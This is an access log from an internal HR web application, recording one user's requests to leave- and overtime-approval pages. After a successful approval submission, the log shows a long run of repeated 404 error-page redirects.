192.168.12.66 - - [05/Sep/2025:19:51:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:51:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:51:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:51:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:51:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:52:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:52:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:52:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7256
192.168.12.66 - - [05/Sep/2025:19:52:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7256 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:52:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:52:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:52:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 1145610 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:52:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 1145610
192.168.12.66 - - [05/Sep/2025:19:52:13 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:52:13 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:52:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131091%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131091&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:52:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131091%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131091&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:52:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:52:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:52:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:52:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:52:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:52:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:52:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:52:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:52:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:52:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:52:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:52:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:52:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:52:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:52:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:52:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:52:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:52:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:52:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:52:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:52:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:52:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:52:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:52:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:52:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:52:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:52:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:52:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:52:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:52:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:52:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:52:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:52:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:52:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:52:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:52:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:52:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:52:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:52:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:52:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:52:29 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7256 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:52:29 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7256
